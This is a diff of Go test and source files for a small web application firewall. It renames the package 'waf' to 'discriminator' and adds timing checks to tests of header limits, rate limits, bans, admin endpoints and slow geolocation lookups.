"request body too large",
|
||||
},
|
||||
} {
|
||||
got := s.admin(http.MethodPost, waf.BansPath, tc.body,
|
||||
got := s.admin(http.MethodPost, discriminator.BansPath, tc.body,
|
||||
http.StatusBadRequest)
|
||||
if !strings.Contains(string(got.body), tc.want) {
|
||||
t.Errorf("%.80s was answered %q, want it to say %q", tc.body, got.body, tc.want)
|
||||
@@ -285,7 +285,7 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
|
||||
Bans []state.BanEntry `json:"bans"`
|
||||
}
|
||||
|
||||
decode(t, s.admin(http.MethodGet, waf.ClientsPath+addr, "",
|
||||
decode(t, s.admin(http.MethodGet, discriminator.ClientsPath+addr, "",
|
||||
http.StatusOK), &got)
|
||||
|
||||
if got.Client == nil {
|
||||
@@ -308,15 +308,15 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
|
||||
|
||||
// Of an address no request came from and no ban covers, nothing is
|
||||
// known.
|
||||
got := s.admin(http.MethodGet, waf.ClientsPath+"198.51.100.99", "",
|
||||
got := s.admin(http.MethodGet, discriminator.ClientsPath+"198.51.100.99", "",
|
||||
http.StatusOK)
|
||||
if string(got.body) != "{\n \"client\": null,\n \"bans\": []\n}\n" {
|
||||
t.Errorf("an unknown client is answered\n%s", got.body)
|
||||
}
|
||||
|
||||
s.admin(http.MethodGet, waf.ClientsPath+"203.0.113", "",
|
||||
s.admin(http.MethodGet, discriminator.ClientsPath+"203.0.113", "",
|
||||
http.StatusBadRequest)
|
||||
s.admin(http.MethodDelete, waf.BansPath+"/203.0.113.0/24", "",
|
||||
s.admin(http.MethodDelete, discriminator.BansPath+"/203.0.113.0/24", "",
|
||||
http.StatusBadRequest)
|
||||
}
|
||||
|
||||
@@ -347,14 +347,14 @@ type adminEndpoint struct {
|
||||
// bans on otherClient, and asking about otherClient.
|
||||
func adminEndpoints() []adminEndpoint {
|
||||
return []adminEndpoint{
|
||||
{http.MethodGet, waf.BansPath, ""},
|
||||
{http.MethodPost, waf.BansPath, banOtherClient},
|
||||
{http.MethodDelete, waf.BansPath + "/" + otherClient, ""},
|
||||
{http.MethodGet, waf.ClientsPath + otherClient, ""},
|
||||
{http.MethodGet, discriminator.BansPath, ""},
|
||||
{http.MethodPost, discriminator.BansPath, banOtherClient},
|
||||
{http.MethodDelete, discriminator.BansPath + "/" + otherClient, ""},
|
||||
{http.MethodGet, discriminator.ClientsPath + otherClient, ""},
|
||||
}
|
||||
}
|
||||
|
||||
// admin sends a request with method for path, with body, to waf's own
|
||||
// admin sends a request with method for path, with body, to discriminator's own
|
||||
// address, with the admin token, and checks that it is answered with status, its
|
||||
// log line's action own_endpoint. It returns the answer.
|
||||
func (s *sender) admin(method, path, body string, status int) answer {
|
||||
@@ -370,7 +370,7 @@ func (s *sender) ownEndpointRequest(
|
||||
) answer {
|
||||
s.t.Helper()
|
||||
|
||||
req := newRequest(s.t, method, s.wafAddr, path, strings.NewReader(body))
|
||||
req := newRequest(s.t, method, s.discriminatorAddr, path, strings.NewReader(body))
|
||||
if authorization != "" {
|
||||
req.Header.Set("Authorization", authorization)
|
||||
}
|
||||
@@ -1,4 +1,4 @@
|
||||
package waf_test
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"maps"
|
||||
@@ -10,8 +10,8 @@ import (
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -203,7 +203,7 @@ func TestObserveModeWorksOutABanOnlyWhenItsAlertWouldBeSent(t *testing.T) {
|
||||
// never sent them, and returns the queue they wait in as well.
|
||||
func startWithAlerts(
|
||||
t *testing.T, env map[string]string,
|
||||
) (*sender, *clock, *waf.Server, *alerts.Queue) {
|
||||
) (*sender, *clock, *discriminator.Server, *alerts.Queue) {
|
||||
t.Helper()
|
||||
|
||||
return startAppWithAlerts(t, func(http.ResponseWriter, *http.Request) {}, env)
|
||||
@@ -212,7 +212,7 @@ func startWithAlerts(
|
||||
// startAppWithAlerts is startWithAlerts in front of the app handler.
|
||||
func startAppWithAlerts(
|
||||
t *testing.T, handler http.HandlerFunc, env map[string]string,
|
||||
) (*sender, *clock, *waf.Server, *alerts.Queue) {
|
||||
) (*sender, *clock, *discriminator.Server, *alerts.Queue) {
|
||||
t.Helper()
|
||||
|
||||
app := startApp(t, handler)
|
||||
@@ -226,7 +226,7 @@ func startAppWithAlerts(
|
||||
|
||||
addr, out, server, queue := startProxyWithAlerts(t, app.URL, "", clk.Now, settings)
|
||||
|
||||
s := &sender{t: t, addr: addr, wafAddr: server.Addr, out: out}
|
||||
s := &sender{t: t, addr: addr, discriminatorAddr: server.Addr, out: out}
|
||||
|
||||
return s, clk, server, queue
|
||||
}
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
package waf
|
||||
package discriminator
|
||||
|
||||
import (
|
||||
"net/netip"
|
||||
@@ -1,4 +1,4 @@
|
||||
package waf_test
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"maps"
|
||||
@@ -13,9 +13,9 @@ import (
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||
"sneak.berlin/go/smallwebwaf/internal/anomaly"
|
||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
||||
)
|
||||
|
||||
// The anomaly thresholds: the prefix of a scope followed by the end of a
|
||||
@@ -319,7 +319,7 @@ func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) {
|
||||
// kept.
|
||||
geojsURL, _, release := startHeldGeoJS(t)
|
||||
|
||||
var server atomic.Pointer[waf.Server]
|
||||
var server atomic.Pointer[discriminator.Server]
|
||||
|
||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
||||
release()
|
||||
@@ -1,4 +1,4 @@
|
||||
package waf_test
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
@@ -15,16 +15,16 @@ import (
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||
"sneak.berlin/go/smallwebwaf/internal/lookup"
|
||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
||||
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
||||
)
|
||||
|
||||
const (
|
||||
// answerTimeLimit is the default of rproxy's SWRP_TIMEOUT_MS, the time
|
||||
// waf has to answer.
|
||||
// discriminator has to answer.
|
||||
answerTimeLimit = 2 * time.Second
|
||||
// defaultLookupWait is the default of SWW_LOOKUP_TIMEOUT.
|
||||
defaultLookupWait = 800 * time.Millisecond
|
||||
@@ -33,7 +33,7 @@ const (
|
||||
headerFieldLimit = 100
|
||||
// cookieHeader is the header the cookie limit counts.
|
||||
cookieHeader = "Cookie"
|
||||
// tooLarge is how waf refuses a request over the header limits.
|
||||
// tooLarge is how discriminator refuses a request over the header limits.
|
||||
tooLarge = http.StatusRequestHeaderFieldsTooLarge
|
||||
// silentAbuseIPDBURL is where AbuseIPDB never answers: at the stand-in
|
||||
// that silentGeoJSURL names too.
|
||||
@@ -56,7 +56,7 @@ func cookies(count int) string {
|
||||
}
|
||||
|
||||
// fillHeaders adds headers to a question until the checks see total header
|
||||
// fields: all but ClientHeader and PeerHeader, which waf removes. Go's
|
||||
// fields: all but ClientHeader and PeerHeader, which discriminator removes. Go's
|
||||
// client sends nothing else but Host, which the limit does not count, once
|
||||
// User-Agent is set.
|
||||
func fillHeaders(req *http.Request, total int) {
|
||||
@@ -67,16 +67,21 @@ func fillHeaders(req *http.Request, total int) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestSixteenThousandCookiesAreRefusedBeforeTheCoreRuleSetReadsThem(t *testing.T) {
|
||||
func TestSixteenThousandCookiesAreRefusedWellWithinTheTimeLimit(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s := startWAF(t, "", map[string]string{wafMode: block})
|
||||
s := startDiscriminator(t, "", map[string]string{wafMode: block})
|
||||
req := s.question(siteA, client, "/")
|
||||
req.Header.Set(cookieHeader, strings.Repeat("a;", 16000))
|
||||
|
||||
began := time.Now()
|
||||
got := do(t, req)
|
||||
|
||||
wantDisposition(t, got, tooLarge, waf.DispositionDeny)
|
||||
if took := time.Since(began); took >= answerTimeLimit/2 {
|
||||
t.Errorf("answered after %s, want well within %s", took, answerTimeLimit)
|
||||
}
|
||||
|
||||
wantDisposition(t, got, tooLarge, discriminator.DispositionDeny)
|
||||
|
||||
line := s.out.requestLine(t)
|
||||
wantLine(t, line, tooLarge, requestlog.ActionRequestHeaderTooLarge)
|
||||
@@ -89,7 +94,7 @@ func TestSixteenThousandCookiesAreRefusedBeforeTheCoreRuleSetReadsThem(t *testin
|
||||
func TestHeaderLimitRefusalNamesItsHeuristicCountsAndLimits(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s := startWAF(t, "", nil)
|
||||
s := startDiscriminator(t, "", nil)
|
||||
req := s.question(siteA, client, "/")
|
||||
fillHeaders(req, headerFieldLimit+1)
|
||||
do(t, req)
|
||||
@@ -143,7 +148,7 @@ func TestEachHeaderLimitRefusesARequestOverIt(t *testing.T) {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s := startWAF(t, "", map[string]string{wafMode: block})
|
||||
s := startDiscriminator(t, "", map[string]string{wafMode: block})
|
||||
req := s.question(siteA, client, "/")
|
||||
tc.make(req)
|
||||
|
||||
@@ -151,13 +156,13 @@ func TestEachHeaderLimitRefusesARequestOverIt(t *testing.T) {
|
||||
line := s.out.requestLine(t)
|
||||
|
||||
if tc.refused {
|
||||
wantDisposition(t, got, tooLarge, waf.DispositionDeny)
|
||||
wantDisposition(t, got, tooLarge, discriminator.DispositionDeny)
|
||||
wantLine(t, line, tooLarge, requestlog.ActionRequestHeaderTooLarge)
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
wantDisposition(t, got, http.StatusOK, waf.DispositionAllow)
|
||||
wantDisposition(t, got, http.StatusOK, discriminator.DispositionAllow)
|
||||
wantLine(t, line, http.StatusOK, requestlog.ActionForward)
|
||||
|
||||
if line.DurationCoreRuleSetMS == nil {
|
||||
@@ -178,11 +183,11 @@ func TestHeaderLimitsHoldWhateverTheCoreRuleSetSettingsSay(t *testing.T) {
|
||||
t.Run(fmt.Sprint(env), func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s := startWAF(t, "", env)
|
||||
s := startDiscriminator(t, "", env)
|
||||
req := s.question(siteA, client, "/")
|
||||
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
||||
|
||||
wantDisposition(t, do(t, req), tooLarge, waf.DispositionDeny)
|
||||
wantDisposition(t, do(t, req), tooLarge, discriminator.DispositionDeny)
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -190,23 +195,28 @@ func TestHeaderLimitsHoldWhateverTheCoreRuleSetSettingsSay(t *testing.T) {
|
||||
func TestClientInTheAllowNetsSkipsTheHeaderLimits(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s := startWAF(t, "", map[string]string{wafMode: block, allowNets: client})
|
||||
s := startDiscriminator(t, "", map[string]string{wafMode: block, allowNets: client})
|
||||
req := s.question(siteA, client, "/")
|
||||
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
||||
|
||||
wantDisposition(t, do(t, req), http.StatusOK, waf.DispositionAllow)
|
||||
wantDisposition(t, do(t, req), http.StatusOK, discriminator.DispositionAllow)
|
||||
}
|
||||
|
||||
func TestObserveModeAllowsARequestOverTheHeaderLimitsUnread(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s := startWAF(t, "", map[string]string{mode: observe, wafMode: block})
|
||||
s := startDiscriminator(t, "", map[string]string{mode: observe, wafMode: block})
|
||||
req := s.question(siteA, client, "/")
|
||||
req.Header.Set(cookieHeader, strings.Repeat("a;", 16000))
|
||||
|
||||
began := time.Now()
|
||||
got := do(t, req)
|
||||
|
||||
wantDisposition(t, got, http.StatusOK, waf.DispositionAllow)
|
||||
if took := time.Since(began); took >= answerTimeLimit/2 {
|
||||
t.Errorf("answered after %s, want well within %s", took, answerTimeLimit)
|
||||
}
|
||||
|
||||
wantDisposition(t, got, http.StatusOK, discriminator.DispositionAllow)
|
||||
|
||||
line := s.out.requestLine(t)
|
||||
if line.WouldAction != requestlog.ActionRequestHeaderTooLarge ||
|
||||
@@ -219,7 +229,7 @@ func TestObserveModeAllowsARequestOverTheHeaderLimitsUnread(t *testing.T) {
|
||||
func TestRequestsOverTheHeaderLimitsCountTowardTheRateLimits(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s := startWAF(t, "", map[string]string{rateLimitPerMinute: "1"})
|
||||
s := startDiscriminator(t, "", map[string]string{rateLimitPerMinute: "1"})
|
||||
ask := func() answer {
|
||||
req := s.question(siteA, client, "/")
|
||||
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
||||
@@ -227,8 +237,8 @@ func TestRequestsOverTheHeaderLimitsCountTowardTheRateLimits(t *testing.T) {
|
||||
return do(t, req)
|
||||
}
|
||||
|
||||
wantDisposition(t, ask(), tooLarge, waf.DispositionDeny)
|
||||
wantDisposition(t, ask(), http.StatusForbidden, waf.DispositionDeny)
|
||||
wantDisposition(t, ask(), tooLarge, discriminator.DispositionDeny)
|
||||
wantDisposition(t, ask(), http.StatusForbidden, discriminator.DispositionDeny)
|
||||
|
||||
lines := s.out.requestLines(t, 2)
|
||||
wantLine(t, lines[1], http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||
@@ -246,13 +256,13 @@ func TestTheHeaderLimitsComeAfterTheTrapPathsAndTheRuleFiles(t *testing.T) {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s := startWAF(t, "", map[string]string{
|
||||
s := startDiscriminator(t, "", map[string]string{
|
||||
trapPaths: trapPathList, rulesDir: writeRules(t, testRules),
|
||||
})
|
||||
req := s.question(siteA, client, tc.path)
|
||||
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
||||
|
||||
wantDisposition(t, do(t, req), http.StatusForbidden, waf.DispositionDeny)
|
||||
wantDisposition(t, do(t, req), http.StatusForbidden, discriminator.DispositionDeny)
|
||||
wantLine(t, s.out.requestLine(t), http.StatusForbidden, tc.action)
|
||||
})
|
||||
}
|
||||
@@ -262,13 +272,13 @@ func TestNotWaitingForGeoJSNeverLowersAClientsLimit(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
geojsURL, _ := startGeoJS(t)
|
||||
s := startWAF(t, geojsURL, map[string]string{
|
||||
s := startDiscriminator(t, geojsURL, map[string]string{
|
||||
unknownLimitPercent: "0", lookupTimeout: "1h",
|
||||
})
|
||||
req := s.question(siteA, fromDE, "/")
|
||||
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
||||
|
||||
wantDisposition(t, do(t, req), tooLarge, waf.DispositionDeny)
|
||||
wantDisposition(t, do(t, req), tooLarge, discriminator.DispositionDeny)
|
||||
|
||||
line := s.out.requestLine(t)
|
||||
wantLine(t, line, tooLarge, requestlog.ActionRequestHeaderTooLarge)
|
||||
@@ -278,14 +288,14 @@ func TestNotWaitingForGeoJSNeverLowersAClientsLimit(t *testing.T) {
|
||||
}
|
||||
|
||||
// The client is under no ban, and GeoJS places it in a country.
|
||||
wantDisposition(t, s.ask(fromDE, "/"), http.StatusOK, waf.DispositionAllow)
|
||||
wantDisposition(t, s.ask(fromDE, "/"), http.StatusOK, discriminator.DispositionAllow)
|
||||
}
|
||||
|
||||
func TestAClientGeoJSPlacedInNoCountryCountsAsUnknownWithoutWaiting(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
geojsURL, _ := startGeoJS(t)
|
||||
s := startWAF(t, geojsURL, map[string]string{unknownLimitPercent: "0"})
|
||||
s := startDiscriminator(t, geojsURL, map[string]string{unknownLimitPercent: "0"})
|
||||
s.server.GeoJS.Load([]lookup.Answer{{
|
||||
Client: netip.MustParsePrefix(client + "/32"), ASN: "AS64512",
|
||||
Answered: s.clock.Now(), Used: s.clock.Now(),
|
||||
@@ -294,7 +304,7 @@ func TestAClientGeoJSPlacedInNoCountryCountsAsUnknownWithoutWaiting(t *testing.T
|
||||
req := s.question(siteA, client, "/")
|
||||
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
||||
|
||||
wantDisposition(t, do(t, req), http.StatusForbidden, waf.DispositionDeny)
|
||||
wantDisposition(t, do(t, req), http.StatusForbidden, discriminator.DispositionDeny)
|
||||
wantLine(t, s.out.requestLine(t), http.StatusForbidden,
|
||||
requestlog.ActionClientIsRateLimited)
|
||||
}
|
||||
@@ -303,14 +313,14 @@ func TestObserveModeWaitsForGeoJSForARequestOverTheHeaderLimits(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
geojsURL, _ := startGeoJS(t)
|
||||
s := startWAF(t, geojsURL, map[string]string{
|
||||
s := startDiscriminator(t, geojsURL, map[string]string{
|
||||
mode: observe, addLookupHeaders: on, lookupTimeout: "1h",
|
||||
})
|
||||
req := s.question(siteA, fromDE, "/")
|
||||
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
||||
|
||||
got := do(t, req)
|
||||
wantDisposition(t, got, http.StatusOK, waf.DispositionAllow)
|
||||
wantDisposition(t, got, http.StatusOK, discriminator.DispositionAllow)
|
||||
|
||||
asn, country := got.header.Get("X-Client-Asn"), got.header.Get("X-Client-Country")
|
||||
if asn != asnDE || country != "DE" {
|
||||
@@ -319,18 +329,18 @@ func TestObserveModeWaitsForGeoJSForARequestOverTheHeaderLimits(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// newWAFInBubble makes a waf for a synctest bubble: GeoJS never
|
||||
// newDiscriminatorInBubble makes a discriminator for a synctest bubble: GeoJS never
|
||||
// answers, a setting needs its answer, and everything is at its default but
|
||||
// for env. No request to it may use the network.
|
||||
func newWAFInBubble(
|
||||
func newDiscriminatorInBubble(
|
||||
t *testing.T, env map[string]string,
|
||||
) (*waf.Server, *output) {
|
||||
) (*discriminator.Server, *output) {
|
||||
t.Helper()
|
||||
|
||||
settings := map[string]string{tagDeny: "country=KP"}
|
||||
maps.Copy(settings, env)
|
||||
|
||||
server, out, _ := newWAF(t, silentGeoJSURL, time.Now, settings)
|
||||
server, out, _ := newDiscriminator(t, silentGeoJSURL, time.Now, settings)
|
||||
|
||||
return server, out
|
||||
}
|
||||
@@ -338,13 +348,13 @@ func newWAFInBubble(
|
||||
// askDirectly hands a question about a request from client straight to server,
|
||||
// as change leaves it, and returns the answer's status and how long it took.
|
||||
func askDirectly(
|
||||
t *testing.T, server *waf.Server, change func(*http.Request),
|
||||
t *testing.T, server *discriminator.Server, change func(*http.Request),
|
||||
) (int, time.Duration) {
|
||||
t.Helper()
|
||||
|
||||
req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody)
|
||||
req.RemoteAddr = net.JoinHostPort(rproxyPeer, "1234")
|
||||
req.Header.Set(waf.ClientHeader, client)
|
||||
req.Header.Set(discriminator.ClientHeader, client)
|
||||
req.Header.Set(requestIDHeader, "the-id")
|
||||
change(req)
|
||||
|
||||
@@ -357,17 +367,17 @@ func askDirectly(
|
||||
}
|
||||
|
||||
// banClient bans client at now.
|
||||
func banClient(_ *testing.T, server *waf.Server, now time.Time) {
|
||||
func banClient(_ *testing.T, server *discriminator.Server, now time.Time) {
|
||||
server.Ledger.BanForLimit(netip.MustParsePrefix(client+"/32"), now, bans.Notes{})
|
||||
}
|
||||
|
||||
// countClient counts one request from client at now for the rate limits.
|
||||
func countClient(_ *testing.T, server *waf.Server, now time.Time) {
|
||||
func countClient(_ *testing.T, server *discriminator.Server, now time.Time) {
|
||||
server.Limiter.Count(netip.MustParsePrefix(client+"/32"), now, wholeLimit)
|
||||
}
|
||||
|
||||
// listClient puts client on the blocklist at dropURL.
|
||||
func listClient(t *testing.T, server *waf.Server, now time.Time) {
|
||||
func listClient(t *testing.T, server *discriminator.Server, now time.Time) {
|
||||
t.Helper()
|
||||
|
||||
err := server.Lists.Load([]reputation.List{{
|
||||
@@ -379,13 +389,13 @@ func listClient(t *testing.T, server *waf.Server, now time.Time) {
|
||||
}
|
||||
|
||||
// decideOnClient puts client on the CrowdSec decision list.
|
||||
func decideOnClient(t *testing.T, server *waf.Server, now time.Time) {
|
||||
func decideOnClient(t *testing.T, server *discriminator.Server, now time.Time) {
|
||||
t.Helper()
|
||||
loadDecisions(t, server, now, clientsDecision)
|
||||
}
|
||||
|
||||
// leaveAsItIs prepares nothing.
|
||||
func leaveAsItIs(*testing.T, *waf.Server, time.Time) {}
|
||||
func leaveAsItIs(*testing.T, *discriminator.Server, time.Time) {}
|
||||
|
||||
func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
|
||||
t.Parallel()
|
||||
@@ -396,7 +406,7 @@ func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
|
||||
name string
|
||||
env map[string]string
|
||||
// prepare gets the server ready, at now, before the question.
|
||||
prepare func(t *testing.T, server *waf.Server, now time.Time)
|
||||
prepare func(t *testing.T, server *discriminator.Server, now time.Time)
|
||||
// cookie is the request's Cookie header.
|
||||
cookie string
|
||||
status int
|
||||
@@ -443,7 +453,7 @@ func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
|
||||
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
|
||||
// says, so that a request that does not wait takes no time at all.
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
server, out := newWAFInBubble(t, tc.env)
|
||||
server, out := newDiscriminatorInBubble(t, tc.env)
|
||||
tc.prepare(t, server, time.Now())
|
||||
|
||||
status, took := askDirectly(t, server, func(req *http.Request) {
|
||||
@@ -471,7 +481,7 @@ func TestAQuestionWaitsForASlowGeoJSOnlyAsLongAsTheDefaultSays(t *testing.T) {
|
||||
name string
|
||||
env map[string]string
|
||||
// prepare gets the server ready, at now, before the question.
|
||||
prepare func(t *testing.T, server *waf.Server, now time.Time)
|
||||
prepare func(t *testing.T, server *discriminator.Server, now time.Time)
|
||||
status int
|
||||
action string
|
||||
}{
|
||||
@@ -500,7 +510,7 @@ func TestAQuestionWaitsForASlowGeoJSOnlyAsLongAsTheDefaultSays(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
server, out := newWAFInBubble(t, tc.env)
|
||||
server, out := newDiscriminatorInBubble(t, tc.env)
|
||||
tc.prepare(t, server, time.Now())
|
||||
|
||||
status, took := askDirectly(t, server, func(*http.Request) {})
|
||||
@@ -516,7 +526,7 @@ func TestAQuestionWaitsForASlowGeoJSOnlyAsLongAsTheDefaultSays(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
|
||||
func TestDiscriminatorAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
|
||||
t *testing.T,
|
||||
) {
|
||||
t.Parallel()
|
||||
@@ -531,12 +541,12 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
|
||||
|
||||
t.Cleanup(func() { _ = resolver.Close() })
|
||||
|
||||
server, out, _ := newWAFWith(t, func(
|
||||
params waf.Params,
|
||||
) *waf.Server {
|
||||
server, out, _ := newDiscriminatorWith(t, func(
|
||||
params discriminator.Params,
|
||||
) *discriminator.Server {
|
||||
params.AbuseIPDBURL = silentAbuseIPDBURL
|
||||
|
||||
return waf.New(params)
|
||||
return discriminator.New(params)
|
||||
}, held, time.Now, map[string]string{
|
||||
tagDeny: "country=KP", wafMode: block,
|
||||
dnsblZones: dnsblZone, dnsblResolver: resolver.LocalAddr().String(),
|
||||
@@ -1,4 +1,4 @@
|
||||
package waf
|
||||
package discriminator
|
||||
|
||||
// The heuristic active_ban, and the code that makes bans, which several
|
||||
// heuristics share. active_ban reads SWW_MODE; the bans are the ban ledger's.
|
||||
@@ -1,4 +1,4 @@
|
||||
package waf_test
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
@@ -15,8 +15,8 @@ import (
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -393,14 +393,14 @@ func (c *clock) advance(d time.Duration) {
|
||||
c.now = c.now.Add(d)
|
||||
}
|
||||
|
||||
// startWithClock starts waf, and rproxy in front of an app that answers 200,
|
||||
// startWithClock starts discriminator, and rproxy in front of an app that answers 200,
|
||||
// with the settings in env on top of trusting localhost's
|
||||
// X-Forwarded-For, clients' AS numbers and countries looked up at
|
||||
// geojsURL, and a clock set to midnight, the start of a bucket in every
|
||||
// window.
|
||||
func startWithClock(
|
||||
t *testing.T, geojsURL string, env map[string]string,
|
||||
) (*sender, *clock, *waf.Server) {
|
||||
) (*sender, *clock, *discriminator.Server) {
|
||||
t.Helper()
|
||||
|
||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
|
||||
@@ -410,20 +410,20 @@ func startWithClock(
|
||||
|
||||
addr, out, server := startProxyWithClock(t, app.URL, geojsURL, clk.Now, settings)
|
||||
|
||||
return &sender{t: t, addr: addr, wafAddr: server.Addr, out: out}, clk, server
|
||||
return &sender{t: t, addr: addr, discriminatorAddr: server.Addr, out: out}, clk, server
|
||||
}
|
||||
|
||||
// sender sends requests to rproxy one after another, each on a connection of its
|
||||
// own, and checks each one's answer and log line. wafAddr is where
|
||||
// waf's own endpoints are, which ownEndpointRequest asks. Every request
|
||||
// waf gets must come through the sender, since the log lines are
|
||||
// own, and checks each one's answer and log line. discriminatorAddr is where
|
||||
// discriminator's own endpoints are, which ownEndpointRequest asks. Every request
|
||||
// discriminator gets must come through the sender, since the log lines are
|
||||
// matched to them in order.
|
||||
type sender struct {
|
||||
t *testing.T
|
||||
addr string
|
||||
wafAddr string
|
||||
out *output
|
||||
sent int
|
||||
t *testing.T
|
||||
addr string
|
||||
discriminatorAddr string
|
||||
out *output
|
||||
sent int
|
||||
}
|
||||
|
||||
// get sends a GET request for / from the client at from.
|
||||
@@ -1,4 +1,4 @@
|
||||
package waf
|
||||
package discriminator
|
||||
|
||||
import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||
@@ -1,4 +1,4 @@
|
||||
package waf_test
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
@@ -15,9 +15,9 @@ import (
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||
"sneak.berlin/go/smallwebwaf/internal/lookup/lookuptest"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
||||
)
|
||||
|
||||
// The biased thresholds.
|
||||
@@ -291,7 +291,7 @@ func TestClientWithoutAnAnswerInTimeHasTheUnknownLimitPercent(t *testing.T) {
|
||||
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
|
||||
// says, with a GeoJS that never answers.
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
server, out, _ := newWAF(t, silentGeoJSURL, time.Now,
|
||||
server, out, _ := newDiscriminator(t, silentGeoJSURL, time.Now,
|
||||
map[string]string{unknownLimitPercent: "0"})
|
||||
|
||||
// Once the time the request waits for its answer is up, the client
|
||||
@@ -335,7 +335,7 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
|
||||
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
|
||||
// says, with a GeoJS that never answers.
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
server, out, _ := newWAF(t, silentGeoJSURL, time.Now,
|
||||
server, out, _ := newDiscriminator(t, silentGeoJSURL, time.Now,
|
||||
map[string]string{
|
||||
lookupTimeout: timeout.String(), tagLists: "vpn=" + vpnList, tc.setting: tc.value,
|
||||
})
|
||||
@@ -437,7 +437,7 @@ func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(t *testing.T
|
||||
// clock.
|
||||
func startWithLookups(
|
||||
t *testing.T, env map[string]string,
|
||||
) (*sender, *waf.Server, *alerts.Queue) {
|
||||
) (*sender, *discriminator.Server, *alerts.Queue) {
|
||||
t.Helper()
|
||||
|
||||
s, _, server, queue := startWithLookupsAndClock(t, env)
|
||||
@@ -452,7 +452,7 @@ func startWithLookups(
|
||||
// country, and no other address.
|
||||
func startWithLookupsAndClock(
|
||||
t *testing.T, env map[string]string,
|
||||
) (*sender, *clock, *waf.Server, *alerts.Queue) {
|
||||
) (*sender, *clock, *discriminator.Server, *alerts.Queue) {
|
||||
t.Helper()
|
||||
|
||||
path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
|
